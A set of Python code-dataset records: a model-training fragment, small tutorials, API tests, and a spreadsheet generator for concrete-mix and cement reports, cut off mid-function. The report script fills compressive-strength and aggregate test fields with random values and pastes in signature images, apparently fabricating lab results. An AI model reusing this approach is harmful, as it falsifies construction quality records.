end for\n\n\t\tcurtime = int(time.time())\n\t\tif curtime - stime >= interval:\n\t\t\t# only the master save files\n\t\t\tif torch.distributed.get_rank() == 0:\n\t\t\t\toutfilename = outdir+'/'+outroot+'.'+str(curtime)+'.torchnet'\n\t\t\t\t# save to file\n\t\t\t\ttorch.save(net.state_dict(), outfilename)\n\t\t\t\tmetadata = {\n\t\t\t\t\t'uuid': str(uuid.uuid4()),\n\t\t\t\t\t'timestamp': curtime,\n\t\t\t\t\t'netfile': outfilename\n\t\t\t\t} # end output\n\t\t\t\tmetafilename = outfilename+'.meta'\n\t\t\t\twith open(metafilename, 'w') as fout:\n\t\t\t\t\tjson.dump(metadata, fout)\n\t\t\t\t# end with\n\t\t\t\trootLogger.info(' save model snapshot to: %s' % (outfilename,))\n\n\t\t\t\tstime = curtime\n\t\t\t# end if\n\t\t# end if\n\t# end while\n# end def\n\n\n# MAIN #\nif backend == 'mpi':\n\tinit_processes(host, port, 0, 0, run, backend='mpi')\nelse:\n\tprocesses = []\n\tfor rank in range(world_size):\n\t\tp = torch_Process(target=init_processes, args=(host, port, rank, world_size, run, backend))\n\t\tp.start()\n\t\tprocesses.append(p)\n\t# end for\n\n\tfor p in processes:\n\t\tp.join()\n\t# end for\n# end if\n","sub_path":"learning/OthelloZeroNet.distributed.py","file_name":"OthelloZeroNet.distributed.py","file_ext":"py","file_size_in_byte":9825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"108535773","text":"# Find the floored square root of the number to the closest Integer\nx = 225\n\n#Naive Solution - iterate through the numbers\ni = 0\nwhile(i*i <= x):\n i += 1\n\nprint(f\"floored square root of the number to the closest Integer: {i-1}\")\n\n# Time complexity = O(sqrt(x)) --> as the loops runs uptil sq rt of x\n# Space complexity = O(1)\n\n\n# Effiecient solution using binary search\nstart = 0\nend = x\nmid = 0\nres = x+1\n\nwhile(start <= end):\n mid = int((start+end)/2)\n if mid*mid == x:\n res = mid\n break;\n elif mid*mid > x:\n end = mid - 1\n else:\n start = mid + 1\n res = mid\n\nprint(f\"floored square root of the number to the closest Integer: {res}\")\n\n# Time complexity = O(logn)\n# Space complexity = O(1)","sub_path":"Search/squareRoot.py","file_name":"squareRoot.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"7750248","text":"# Pattern Printer\n\n\n# Now we are creating two function to create the increase and decrease triangle:-\n\n# For the increasing triangle we are using the function ('increasing')\ndef increasing(No_Rows):\n # Now we need as much of rows as the users input\n for row in range(0, No_Rows):\n\n # Now we need as much as columns as the index number of rows; Since we need the Number of column same as index\n # number of rows we need to add it by 1 because the first value is 0 so nothing will be printed there\n for column in range(0, row + 1):\n # Now in place of the column we need to print stars; if we just print the star it will print every star\n # in a new line because end of a printing string is a new-line character, So\n print(\"*\", end=' ')\n\n # The above will print the stars in a straight line but we need it in a new line, So\n print(\"\")\n\n\n# Now we are creating the function to print decreasing triangle ('decreasing')\ndef decreasing(No_Rows):\n # Now we need as much of rows as the users input\n for row in range(0, No_Rows):\n\n # Now we need as much as columns as in the reverse of index number of rows; Since we need the Number of\n # column in reverse of index number of rows we need to decrease the index number of(row) from the users\n # input(No_Rows) because the first value is 0 so nothing will be printed there\n for column in range(0, No_Rows - row):\n # Now in place of the column we need to print stars; if we just print the star it will print every star\n # in a new line because end of a printing string is a new-line character, So\n print(\"*\", end=' ')\n\n # The above will print the stars in a straight line but we need it in a new line, So\n print(\"\")\n\n\n# NOW THE FUNCTION ARE FINISHED\n\n# now first the user should select whether they want to print the stars in increasing or decreasing order using boolean\n# we are taking the input in 'int' type as we further want to do calculation's in it\norder = int(input(\"Press '1' to print the triangle in Increasing order\\n\"\n \"Press '2' to print the triangle in Decreasing order\\n\"\n \"ENTER THE NUMBER:\\n\"))\n\n# After this we should take the input of number of rows from the user('No_Rows') which will be printed we will\n# take input in 'int' type as we further want to do more calculations in it\nNo_Rows = int(input(\"Enter the number of rows:\\n\"))\n\n# We are creating a boolean, If it is true then we will print the triangle in Increasing order else in decreasing\norderType = bool(order == 1)\n\nif orderType == 1:\n increasing(No_Rows)\nelif orderType == 0:\n decreasing(No_Rows)\nelse:\n print(\"Unknown error\")\n","sub_path":"02-Start_Triangle/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"83173458","text":"import json\n\nfrom .base import BaseTestCase\n\n\nclass TestUserGroup(BaseTestCase):\n\n uuid = \"00000000-0000-0000-0000-000000000001\"\n base_url = \"/user_group\"\n\n def test_00_get_all(self):\n\n content, status = self.send_request(\"GET\", self.base_url)\n print(len(content))\n assert status == 200\n\n def test_01_get_no_exist(self):\n\n url = \"{}/{}\".format(self.base_url, self.uuid)\n\n content, status = self.send_request(\"GET\", url)\n\n assert status == 200\n assert content == {}\n\n def test_02_create(self):\n\n data = {\n \"uuid\": self.uuid,\n \"name\": \"unittest\"\n }\n\n content, status = self.send_request(\n \"PUT\", self.base_url,\n data=json.dumps(data)\n )\n\n assert status == 200\n assert self.uuid in content\n\n def test_03_create_exist(self):\n\n data = {\n \"uuid\": self.uuid,\n \"name\": \"unittest\"\n }\n\n content, status = self.send_request(\n \"PUT\", self.base_url,\n data=json.dumps(data)\n )\n\n assert status == 409\n\n def test_04_get_one(self):\n\n url = \"{}/{}\".format(self.base_url, self.uuid)\n content, status = self.send_request(\"GET\", url)\n\n assert status == 200\n assert self.uuid in content\n\n def test_05_search(self):\n query = {\"name\": \"unittest\"}\n url = \"{}/search\".format(self.base_url)\n content, status = self.send_request(\n \"POST\", url,\n data=json.dumps(query)\n )\n assert status == 200\n assert self.uuid in content\n\n def test_06_update(self):\n\n data = {\n \"name\": \"unittest_update\"\n }\n\n content, status = self.send_request(\n \"POST\", self.base_url, data=json.dumps({self.uuid: data}))\n\n assert status == 200\n assert self.uuid in content\n assert content[self.uuid][\"name\"] == data[\"name\"]\n\n def test_07_delete(self):\n\n url = \"{}/{}\".format(self.base_url, self.uuid)\n\n content, status = self.send_request(\n \"DELETE\", url\n )\n\n assert status == 200\n assert self.uuid in content\n","sub_path":"tests/test_user_group.py","file_name":"test_user_group.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"428206125","text":"# -*- coding:utf-8 -*-\n\"\"\"\n@author: Darcy\n@time: 2018/10/28 16:10\n\"\"\"\nfrom openpyxl import load_workbook\nfrom Util.ExcelInitUtil import iniexcel1, iniexcel7\nfrom DateBase.connect_db import session\nimport Bean.ExcelBean\nimport Bean.DbBean\nimport Util.ExcelUtil\nfrom DateBase.creat import CementAttributeDatum\nfrom DateBase.creat import ConcreteMix\nfrom collections import defaultdict\nfrom Util.query_database import query_mix\nfrom random import uniform\nfrom datetime import timedelta, datetime\nfrom Util.get_parm import get_parm\nfrom Util.round import get_float\n\"\"\"\n 生成水泥购进,使用一览表\n Parm:\n useBook 使用记录表\n session 数据库连接池\n Return:\n modeBook 购进使用表\n CementDesignBook 配合比设计报告表\n maxRows 使用记录数量\n\"\"\"\ndef ConUseBuyRecord(useBook):\n useSheets = useBook.sheetnames\n modeName = \"../../Mode/1.xlsx\"\n modeBook = load_workbook(modeName)\n \"\"\"\n 第一份表操作\n \"\"\"\n \"\"\"\n 复制模板\n \"\"\"\n for sheetNum in range(len(useSheets)):\n useSheet = useBook.worksheets[sheetNum]\n rows = useSheet.max_row - 9\n moreFixNum, rows = divmod(rows, 15)\n if rows == 0:\n moreFixNum = moreFixNum - 1\n for copyNum in range(moreFixNum + 1):\n modeSheet = modeBook.worksheets[0]\n iniexcel1(modeSheet)\n modeSheet = modeBook.copy_worksheet(modeSheet)\n iniexcel1(modeSheet)\n modeSheet.title = str(str(sheetNum + 1) + '-' + str(copyNum + 1))\n modeBook.remove(modeBook.worksheets[0])\n UseRecordListArr = []\n \"\"\"\n 获取数据\n \"\"\"\n for sheetNum in range(len(useSheets)):\n sheet = useBook.worksheets[sheetNum]\n UseRecordList = []\n rows = sheet.max_row\n for rowNum in range(10, rows + 1):\n if sheet.cell(row=rowNum, column=1).value == None:\n break\n ProjectSite = sheet.cell(row=rowNum, column=1).value\n ConcreteName = sheet.cell(row=rowNum, column=2).value\n ConcreteStrength = sheet.cell(row=rowNum, column=3).value\n ImperLevel = sheet.cell(row=rowNum, column=4).value\n SwellLevel = sheet.cell(row=rowNum, column=5).value\n CuringDate = sheet.cell(row=rowNum, column=6).value\n CuringTime = sheet.cell(row=rowNum, column=7).value\n CuringNum = sheet.cell(row=rowNum, column=8).value\n ConUseRecord = Bean.DbBean.ConcreteUseRecord(\n ProjectSite=ProjectSite,\n ConcreteName=ConcreteName,\n ConcreteStrength=ConcreteStrength,\n ImperLevel=ImperLevel,\n SwellLevel=SwellLevel,\n CuringDate=CuringDate,\n CuringTime=CuringTime,\n CuringNum=CuringNum)\n UseRecordList.append(ConUseRecord)\n # UseRecordList.sort(key=lambda x: x.CuringDate, reverse=False)\n UseRecordListArr.append(UseRecordList)\n\n \"\"\"\n 获取使用记录表报告时间\n \"\"\"\n repoTimeList = []\n for sheetNum in range(len(useSheets)):\n useSheet = useBook.worksheets[sheetNum]\n timeList = []\n rows = useSheet.max_row\n for useSheetRowNum in range(10, rows + 1):\n CuringDate = useSheet.cell(row=useSheetRowNum, column=6).value\n timeList.append(CuringDate)\n timeList.sort()\n repoTimeList.append(timeList[0])\n\n \"\"\"\n 插入数据\n \"\"\"\n curSheetNum = 0\n CementAtrList = []\n repoTimeIndex = 0\n for sheetNum in range(len(useSheets)):\n sheet = useBook.worksheets[sheetNum]\n useRecordNum = len(UseRecordListArr[sheetNum])\n moreFixNum, rows = divmod(useRecordNum, 15)\n if rows == 0:\n moreFixNum = moreFixNum - 1\n CementAtrDataList = []\n for insertNum in range(moreFixNum + 1):\n InsertFlag = 0\n resultSheet = modeBook.worksheets[curSheetNum]\n ProjectName = sheet['A2'].value.replace('工程名称:', '').strip()\n ConstrUnit = sheet['A4'].value.replace('施工单位:', '').strip()\n resultSheet['A4'] = '工程名称:' + ProjectName\n resultSheet['N4'] = ConstrUnit\n curSheetNum = curSheetNum + 1\n for useNum in range(15):\n if((useNum + 15 * insertNum) == len(UseRecordListArr[sheetNum])):\n if((useNum + 15 * insertNum) / 15 != 0):\n resultSheet['M' + str(7 + InsertFlag)] = '以'\n resultSheet['N' + str(7 + InsertFlag)] = '下'\n resultSheet['O' + str(7 + InsertFlag)] = '空'\n resultSheet['P' + str(7 + InsertFlag)] = '白'\n break\n CementName = sheet['B' + str(10 + InsertFlag)].value.replace('砼','')\n UseRecord = UseRecordListArr[sheetNum][useNum + 15 * insertNum]\n query = session.query(CementAttributeDatum).order_by(\n CementAttributeDatum.ArrivalTime.desc())\n result = query.filter(CementAttributeDatum.PriorityLevel == 1,\n CementAttributeDatum.ArrivalTime < UseRecord.CuringDate - timedelta(days=1)).all()\n CementAtr = result[0]\n resultSheet['A' + str(7 + InsertFlag)] = useNum + 15 * insertNum + 1\n resultSheet['B' + str(7 + InsertFlag)] = CementAtr.ArrivalTime.strftime('%Y-%#m-%#d')\n resultSheet['C' + str(7 + InsertFlag)] = CementAtr.CementVariety\n resultSheet['D' + str(7 + InsertFlag)] = CementAtr.Manufacturer\n resultSheet['E' + str(7 + InsertFlag)] = CementAtr.ProductionDate.strftime('%#m-%#d').replace('-','月') + '日'\n resultSheet['F' + str(7 + InsertFlag)] = CementAtr.CementId\n resultSheet['G' + str(7 + InsertFlag)] = CementAtr.CementNumber\n resultSheet['H' + str(7 + InsertFlag)] = Util.ExcelUtil.CemAtrIsStablility(CementAtr.IsStability)\n if(CementAtr.InitialTime[0:1] == '0'):\n CementAtr.InitialTime = CementAtr.InitialTime[1:]\n if (CementAtr.FinalTime[0:1] == '0'):\n CementAtr.FinalTime = CementAtr.FinalTime[1:]\n resultSheet['I' + str(7 + InsertFlag)] = CementAtr.InitialTime\n resultSheet['J' + str(7 + InsertFlag)] = CementAtr.FinalTime\n resultSheet['K' + str(7 + InsertFlag)] = CementAtr.R3_Compression\n resultSheet['L' + str(7 + InsertFlag)] = CementAtr.R28_Compression\n resultSheet['M' + str(7 + InsertFlag)] = UseRecord.ProjectSite\n # resultSheet['M' + str(7 + InsertFlag)] = Util.ExcelUtil.StringInLine(UseRecord.ProjectSite,11)\n\n StrengthString = UseRecord.ConcreteStrength\n if(UseRecord.ImperLevel == None):\n StrengthString = StrengthString + CementName\n else:\n StrengthString = StrengthString + CementName + UseRecord.ImperLevel\n if(UseRecord.SwellLevel != None):\n StrengthString = StrengthString + '\\n(' + str(int(UseRecord.SwellLevel * 100)) + '%膨胀)'\n resultSheet['N' + str(7 + InsertFlag)] = StrengthString\n resultSheet['O' + str(7 + InsertFlag)] = UseRecord.CuringDate.strftime('%Y-%#m-%#d')\n resultSheet['P' + str(7 + InsertFlag)] = UseRecord.CuringNum\n from Util.InsetPicUtil import insertpic\n parm = get_parm()\n resultSheet = insertpic(resultSheet, picname=parm.Project1Manager, position='C23')\n resultSheet = insertpic(resultSheet, picname=parm.Project1FillSheeter, position='G23', width=90, heigh=30)\n # 按照报告时间查询水泥\n QueryDate = repoTimeList[repoTimeIndex]\n query = session.query(CementAttributeDatum).order_by(\n CementAttributeDatum.ArrivalTime.desc())\n result = query.filter(CementAttributeDatum.PriorityLevel == 1,\n CementAttributeDatum.ArrivalTime < QueryDate - timedelta(days=29)).all()\n CementAtr = result[0]\n conMixCementAtr = Bean.ExcelBean.ConMixCementAtr(ArrivalTime=CementAtr.ArrivalTime,\n CementId=CementAtr.CementId,\n CementName=UseRecord.ConcreteName,\n ConcreteStrength=UseRecord.ConcreteStrength,\n ImperLevel=Util.ExcelUtil.IsLevelNone(UseRecord.ImperLevel),\n SwellLevel=Util.ExcelUtil.IsLevelNone(UseRecord.SwellLevel),\n R3_Bending=CementAtr.R3_Bending,\n R28_Bending=CementAtr.R28_Bending,\n R3_Compression=CementAtr.R3_Compression,\n R28_Compression=CementAtr.R28_Compression)\n CementAtrDataList.append(conMixCementAtr)\n InsertFlag = InsertFlag + 1\n repoTimeIndex = repoTimeIndex + 1\n CementAtrList.append(CementAtrDataList)\n\n \"\"\"\n 第七份表操作\n \"\"\"\n cementAtrBeanList = []\n for cementAtrBean in CementAtrList:\n cementAtrDataDict = defaultdict(list)\n for cementAtr in cementAtrBean:\n nameString = str(cementAtr.ConcreteStrength) + '$' + str(cementAtr.CementName) + '$' + str(cementAtr.ImperLevel) + '$' + str(cementAtr.SwellLevel)\n cementAtrDataDict[nameString].append(cementAtr)\n cementAtrBeanList.append(cementAtrDataDict)\n\n modeName = \"../../Mode/7.xlsx\"\n CementDesignBook = load_workbook(modeName)\n useSheets = useBook.sheetnames\n UseRecordHeadList = []\n parm = get_parm()\n\n repoTimeIndex = 0\n for sheetNum in range(len(useSheets)):\n useSheet = useBook.worksheets[sheetNum]\n UseRecordList = []\n rows = useSheet.max_row\n \"\"\"\n 工地混凝土使用记录数据\n \"\"\"\n ProjectName = useSheet['A2'].value.replace('工程名称:', '').strip()\n BuildUnit = useSheet['A3'].value.replace('建设单位:', '').strip()\n for useSheetRowNum in range(10, rows + 1):\n # CuringDate = useSheet.cell(row=useSheetRowNum, column=6).value\n CuringDate = repoTimeList[repoTimeIndex]\n for i in range(1, 40):\n time = str((CuringDate + timedelta(days=-i)).strftime('%#d'))\n if time == \"1\" or time == \"10\" or time == \"20\" or time == \"30\":\n CuringDate = str((CuringDate + timedelta(days=-i)).strftime('%Y.%m.%d'))\n break\n ConcreteName = useSheet.cell(row=useSheetRowNum, column=2).value\n ConcreteStrength = useSheet.cell(row=useSheetRowNum, column=3).value\n ImperLevel = useSheet.cell(row=useSheetRowNum, column=4).value\n SwellLevel = useSheet.cell(row=useSheetRowNum, column=5).value\n ConUseRecord = Bean.ExcelBean.ConMixUseBean(ProjectName=ProjectName,\n BuildUnit=BuildUnit,\n ConcreteName=ConcreteName,\n ConcreteStrength=ConcreteStrength,\n ImperLevel=Util.ExcelUtil.IsLevelNone(ImperLevel),\n SwellLevel=Util.ExcelUtil.IsLevelNone(SwellLevel),\n CuringDate=CuringDate,\n )\n UseRecordList.append(ConUseRecord)\n repoTimeIndex = repoTimeIndex + 1\n UseRecordHeadList.append(UseRecordList)\n\n mixDesignBeanList = []\n for useRecordHeadList in UseRecordHeadList:\n mixDesignDataDict = defaultdict(list)\n for useRecord in useRecordHeadList:\n nameString = str(useRecord.ConcreteStrength) + '$' + str(useRecord.ConcreteName) + '$' + str(\n useRecord.ImperLevel) + '$' + str(useRecord.SwellLevel)\n mixDesignDataDict[nameString].append(useRecord)\n mixDesignBeanList.append(mixDesignDataDict)\n\n \"\"\"\n 复制模板\n \"\"\"\n for sheetNum in range(len(useSheets)):\n rows = mixDesignBeanList[sheetNum].__len__()\n for insertNum in range(rows):\n modeSheet = CementDesignBook.worksheets[0]\n iniexcel7(modeSheet)\n modeSheet = CementDesignBook.copy_worksheet(modeSheet)\n iniexcel7(modeSheet)\n modeSheet.title = str(sheetNum + 1) + '-' + str(insertNum + 1)\n CementDesignBook.remove(CementDesignBook.worksheets[0])\n\n \"\"\"\n 插入数据\n \"\"\"\n curSheetNum = 0\n for sheetNum in range(len(useSheets)):\n mixDesignDictKeys = list(mixDesignBeanList[sheetNum].keys())\n cenAtrDictKeys = list(cementAtrBeanList[sheetNum].keys())\n rows = mixDesignBeanList[sheetNum].__len__()\n for insertNum in range(rows):\n resultSheet = CementDesignBook.worksheets[curSheetNum]\n curSheetNum = curSheetNum + 1\n mixDesign = mixDesignBeanList[sheetNum][mixDesignDictKeys[insertNum]][0]\n cenAtr = cementAtrBeanList[sheetNum][mixDesignDictKeys[insertNum]][0]\n mixDesignNameList = mixDesignDictKeys[insertNum].split('$')\n ConcreteStrength = mixDesignNameList[0]\n ConcreteName = mixDesignNameList[1]\n ImperLevel = mixDesignNameList[2]\n SwellLevel = mixDesignNameList[3]\n if (SwellLevel != '/'):\n \"\"\"\n 获取混合比数据\n \"\"\"\n queryStreng = float(ConcreteStrength.strip('C'))\n queryName = ConcreteName\n if (ImperLevel == '/'):\n ImperLevel = None\n queryImperLevel = ImperLevel\n querySwellLevel = float(float(SwellLevel.strip('%')))\n queryStreng = int(queryStreng)\n UseMix = query_mix(ConcreteName=queryName, StrengthLevel=queryStreng, ImperLevel=queryImperLevel, SwellLevel=querySwellLevel)\n # resultSheet['O3'] = \"设计单位:\" + parm[0].ConDesignUtil\n resultSheet['P4'] = \"试验规格:\" + parm.Project7ConDesignSpeciEdit\n \"\"\"\n 膨胀表修改\n \"\"\"\n resultSheet['M8'] = \"膨胀\"\n resultSheet['M9'] = '{0:.0f}'.format(querySwellLevel * 100) + '%'\n resultSheet['C17'] = \"型号\"\n resultSheet['H6'] = \"粉煤灰\"\n resultSheet['L16'] = \"高效扛裂膨胀剂\"\n resultSheet['L17'] = \"HEA\"\n resultSheet['P9'] = \"泵送\"\n # 接触掺合料合并\n resultSheet.unmerge_cells(start_row=19, end_row=19,\n start_column=13, end_column=14)\n resultSheet.unmerge_cells(start_row=20, end_row=20,\n start_column=13, end_column=14)\n resultSheet.unmerge_cells(start_row=24, end_row=24,\n start_column=13, end_column=14)\n resultSheet.unmerge_cells(start_row=25, end_row=25,\n start_column=13, end_column=14)\n # 设置字体格式\n from openpyxl.styles import Color, Font, Alignment\n font = Font(u'宋体', size=12, color='000000')\n resultSheet['N19'].font = font\n resultSheet['N24'].font = font\n resultSheet['N19'].alignment = Alignment(horizontal='center', vertical='center')\n resultSheet['N24'].alignment = Alignment(horizontal='center', vertical='center')\n resultSheet['N20'].font = font\n resultSheet['N25'].font = font\n resultSheet['N20'].alignment = Alignment(horizontal='center', vertical='center')\n resultSheet['N25'].alignment = Alignment(horizontal='center', vertical='center')\n\n resultSheet['N19'] = \"膨胀剂\"\n resultSheet['N24'] = \"膨胀剂\"\n\n \"\"\"\n 插入工地混凝土使用记录\n \"\"\"\n resultSheet['A3'] = \"建设单位:\" + mixDesign.BuildUnit\n resultSheet['A4'] = \"工程名称:\" + mixDesign.ProjectName\n resultSheet['A5'] = \"发报告日期:\" + mixDesign.CuringDate\n resultSheet['B9'] = mixDesign.ConcreteName\n resultSheet['H9'] = mixDesign.ConcreteStrength\n resultSheet['L9'] = mixDesign.ImperLevel\n \"\"\"\n 插入配合比选用汇总表\n \"\"\"\n if (UseMix.MixRatioName == None):\n resultSheet['P5'] = \"编号:\"\n else:\n resultSheet['P5'] = \"编号:\" + UseMix.MixRatioName\n resultSheet['O9'] = str(UseMix.SlumpNum).replace('', '')\n resultSheet['Q9'] = '{0:.1f}'.format(get_float(float(UseMix.StandardDeviation), 1))\n resultSheet['R9'] = '{0:.1f}'.format(get_float(float(UseMix.ConcreteStrengh), 1))\n resultSheet['P17'] = '{0:.1f}'.format(get_float(float(UseMix.AdmixtureAmount), 1))\n # resultSheet['B20'] = UseMix.CementRatio\n resultSheet['L20'] = UseMix.CementNum\n resultSheet['M20'] = UseMix.FlyashNum\n resultSheet['N20'] = int(UseMix.SwellingNum)\n resultSheet['O20'] = UseMix.SandNum\n resultSheet['P20'] = UseMix.GravelNum\n resultSheet['Q20'] = UseMix.WaterNum\n resultSheet['R20'] = '{0:.1f}'.format(get_float(float(UseMix.AdmixtureNum), 1))\n resultSheet['S20'] = Util.ExcelUtil.IsSwellingLevelNone(UseMix.SwellingNum)\n # resultSheet['H20'] = UseMix.SwellingNum\n resultSheet['B22'] = '{0:.1f}'.format(get_float((float(UseMix.SandRatio) * 100), 1)) + \"%\"\n resultSheet['C22'] = str(UseMix.SlumpNum).replace(' ', '')\n resultSheet['C27'] = str(UseMix.SlumpNum).replace(' ', '')\n\n\n \"\"\"\n 插入水泥购进,使用情况一览表\n \"\"\"\n resultSheet['M11'] = cenAtr.CementId\n resultSheet['O11'] = cenAtr.R3_Bending\n resultSheet['P11'] = cenAtr.R28_Bending\n resultSheet['Q11'] = cenAtr.R3_Compression\n resultSheet['R11'] = cenAtr.R28_Compression\n \"\"\"\n 参数表调节数据插入\n \"\"\"\n compStrength = float(mixDesign.ConcreteStrength.strip('C'))\n resultSheet['L13'] = '{0:.1f}'.format(\n uniform(float(parm.MinS_FinenessDensity), float(parm.MaxS_FinenessDensity)))\n resultSheet['M13'] = '{0:.0f}'.format(\n uniform(float(parm.MinS_SurfaceDensity), float(parm.MaxS_SurfaceDensity)))\n resultSheet['O13'] = '{0:.0f}'.format(\n uniform(float(parm.MinS_Density), float(parm.MaxS_Density)))\n resultSheet['Q13'] = uniform(float(parm.MinS_SlitContent), float(parm.MaxS_SlitContent))\n resultSheet['R13'] = '{0:.0f}'.format(\n uniform(float(parm.MinS_WaterContent), float(parm.MaxS_WaterContent)))\n resultSheet['R13'] = uniform(float(parm.MinS_WaterContent), float(parm.MaxS_WaterContent))\n resultSheet['M15'] = '{0:.1f}'.format(\n uniform(float(parm.MinG_GrainContent), float(parm.MaxG_GrainContent)))\n resultSheet['O15'] = uniform(float(parm.MinG_CrushLevel), float(parm.MaxG_CrushLevel))\n resultSheet['P15'] = '{0:.0f}'.format(\n uniform(float(parm.MinG_Density), float(parm.MaxG_Density)))\n resultSheet['Q15'] = '{0:.1f}'.format(\n uniform(float(parm.MinG_SlitContent), float(parm.MaxG_SlitContent)))\n # to do\n\n resultSheet['R15'] = '{0:.1f}'.format(\n uniform(float(parm.MinG_WaterContent), float(parm.MaxG_WaterContent)))\n resultSheet['Q17'] = '{0:.1f}'.format(\n uniform(float(parm.MinA_Density), float(parm.MaxA_Density)))\n resultSheet['M22'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR7_Compression), float(parm.MaxR7_Compression)))\n resultSheet['O22'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR28_Compression), float(parm.MaxR28_Compression)))\n resultSheet['M27'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR7_Compression), float(parm.MaxR7_Compression)))\n resultSheet['O27'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR28_Compression), float(parm.MaxR28_Compression)))\n \"\"\"\n 质量比公式数据插入\n \"\"\"\n # 干料\n resultSheet['C20'] = 1\n # resultSheet['E20'] = float(resultSheet['M20'].value) / float(resultSheet['L20'].value)\n # resultSheet['G20'] = float(resultSheet['N20'].value) / float(resultSheet['L20'].value)\n # resultSheet['I20'] = float(resultSheet['O20'].value) / float(resultSheet['L20'].value)\n # resultSheet['K20'] = float(resultSheet['P20'].value) / float(resultSheet['L20'].value)\n # resultSheet['K20'] = resultSheet['Q20'].value / resultSheet['L20'].value\n admixtureNum = float(resultSheet['M20'].value) / float(resultSheet['L20'].value)\n imperviousNum = float(resultSheet['N20'].value) / float(resultSheet['L20'].value)\n sandNum = float(resultSheet['O20'].value) / float(resultSheet['L20'].value)\n stoneNum = float(resultSheet['P20'].value) / float(resultSheet['L20'].value)\n waterNum = float(resultSheet['Q20'].value) / float(resultSheet['L20'].value)\n QualifiedString = \" 1:{admixtureNum} :{imperviousNum} :{sandNum} :{stoneNum} :{waterNum}\"\n resultSheet[\"C20\"] = QualifiedString.format(\n admixtureNum = '{0:.2f}'.format(admixtureNum),\n imperviousNum = '{0:.2f}'.format(imperviousNum),\n sandNum = '{0:.2f}'.format(sandNum),\n stoneNum = '{0:.2f}'.format(stoneNum),\n waterNum = '{0:.2f}'.format(waterNum),\n )\n # 施工\n resultSheet['L25'] = resultSheet['L20'].value\n resultSheet['M25'] = resultSheet['M20'].value\n # 3.26\n resultSheet['N25'] = resultSheet['N20'].value\n resultSheet['O25'] = '{0:.0f}'.format(\n float(resultSheet['O20'].value) + float(resultSheet['O20'].value) * resultSheet['R13'].value)\n resultSheet['P25'] = '{0:.0f}'.format(\n float(resultSheet['P20'].value) + float(resultSheet['P20'].value) * (\n float(resultSheet['R15'].value) / 100))\n # resultSheet['Q25'] = '{0:.0f}'.format(\n # float(resultSheet['Q20'].value) - float(resultSheet['O20'].value) * resultSheet[\n # 'R13'].value - float(resultSheet['P20'].value) * (float(resultSheet['R15'].value) / 100))\n resultSheet['Q25'] = '{0:.0f}'.format(\n float(resultSheet['Q20'].value) -\n (\n float(resultSheet['O25'].value) + float(resultSheet[\"P25\"].value) - float(resultSheet['O20'].value) - float(resultSheet['P20'].value)\n )\n )\n resultSheet['R25'] = resultSheet['R20'].value\n resultSheet['S25'] = resultSheet['S20'].value\n # resultSheet['C25'] = 1\n # resultSheet['E25'] = float(resultSheet['M25'].value) / float(resultSheet['L25'].value)\n # resultSheet['G25'] = '{0:.2f}'.format(float(resultSheet['N25'].value) / float(resultSheet['L25'].value))\n # resultSheet['I25'] = '{0:.2f}'.format(float(resultSheet['O25'].value) / float(resultSheet['L25'].value))\n # resultSheet['K25'] = '{0:.2f}'.format(float(resultSheet['P25'].value) / float(resultSheet['L25'].value))\n # resultSheet['K25'] = '{0:.2f}'.format(float(resultSheet['Q25'].value) / float(resultSheet['L25'].value))\n admixtureNum = float(resultSheet['M25'].value) / float(resultSheet['L25'].value)\n imperviousNum = float(resultSheet['N25'].value) / float(resultSheet['L25'].value)\n sandNum = float(resultSheet['O25'].value) / float(resultSheet['L25'].value)\n stoneNum = float(resultSheet['P25'].value) / float(resultSheet['L25'].value)\n waterNum = float(resultSheet['Q25'].value) / float(resultSheet['L25'].value)\n QualifiedString = \" 1:{admixtureNum} :{imperviousNum} :{sandNum} :{stoneNum} :{waterNum}\"\n resultSheet[\"C25\"] = QualifiedString.format(\n admixtureNum='{0:.2f}'.format(get_float(float(admixtureNum), 2)),\n imperviousNum='{0:.2f}'.format(get_float(float(imperviousNum), 2)),\n sandNum='{0:.2f}'.format(get_float(float(sandNum), 2)),\n stoneNum='{0:.2f}'.format(get_float(float(stoneNum), 2)),\n waterNum='{0:.2f}'.format(get_float(float(waterNum), 2)),\n )\n resultSheet['B20'] = '{0:.2f}'.format(float(resultSheet['Q20'].value) / (\n float(resultSheet['L20'].value) + float(resultSheet['M20'].value) + float(resultSheet['N20'].value)))\n resultSheet['B25'] = '{0:.2f}'.format(float(resultSheet['Q25'].value) / (\n float(resultSheet['L25'].value) + float(resultSheet['M25'].value) + float(resultSheet['N25'].value)))\n\n resultSheet['B27'] = '{0:.1f}'.format(float(resultSheet['O25'].value) / (\n float(resultSheet['O25'].value) + float(resultSheet['P25'].value)) * 100) + '%'\n resultSheet['R13'] = '{0:.1f}'.format(resultSheet['R13'].value * 100)\n resultSheet['H22'] = '{0:.0f}'.format(get_float(float(resultSheet[\"L20\"].value) + float(resultSheet[\"M20\"].value) + float(resultSheet[\"N20\"].value) + float(resultSheet[\"O20\"].value) + float(resultSheet[\"P20\"].value) + float(resultSheet[\"Q20\"].value) + float(resultSheet[\"R20\"].value), 0))\n resultSheet['H27'] = '{0:.0f}'.format(get_float(float(resultSheet[\"L25\"].value) + float(resultSheet[\"M25\"].value) + float(resultSheet[\"N25\"].value) + float(resultSheet[\"O25\"].value) + float(resultSheet[\"P25\"].value) + float(resultSheet[\"Q25\"].value) + float(resultSheet[\"R25\"].value), 0))\n else:\n \"\"\"\n 获取混合比数据\n \"\"\"\n queryStreng = float(ConcreteStrength.strip('C'))\n queryName = ConcreteName\n if(queryName == \"泵送砼\"):\n resultSheet['O9'] = \"泵送\"\n if (ImperLevel == '/'):\n ImperLevel = None\n if (SwellLevel == '/'):\n SwellLevel = None\n queryImperLevel = ImperLevel\n querySwellLevel = SwellLevel\n queryStreng = int(queryStreng)\n UseMix = query_mix(ConcreteName=queryName, StrengthLevel=queryStreng, ImperLevel=queryImperLevel, SwellLevel=querySwellLevel)\n # 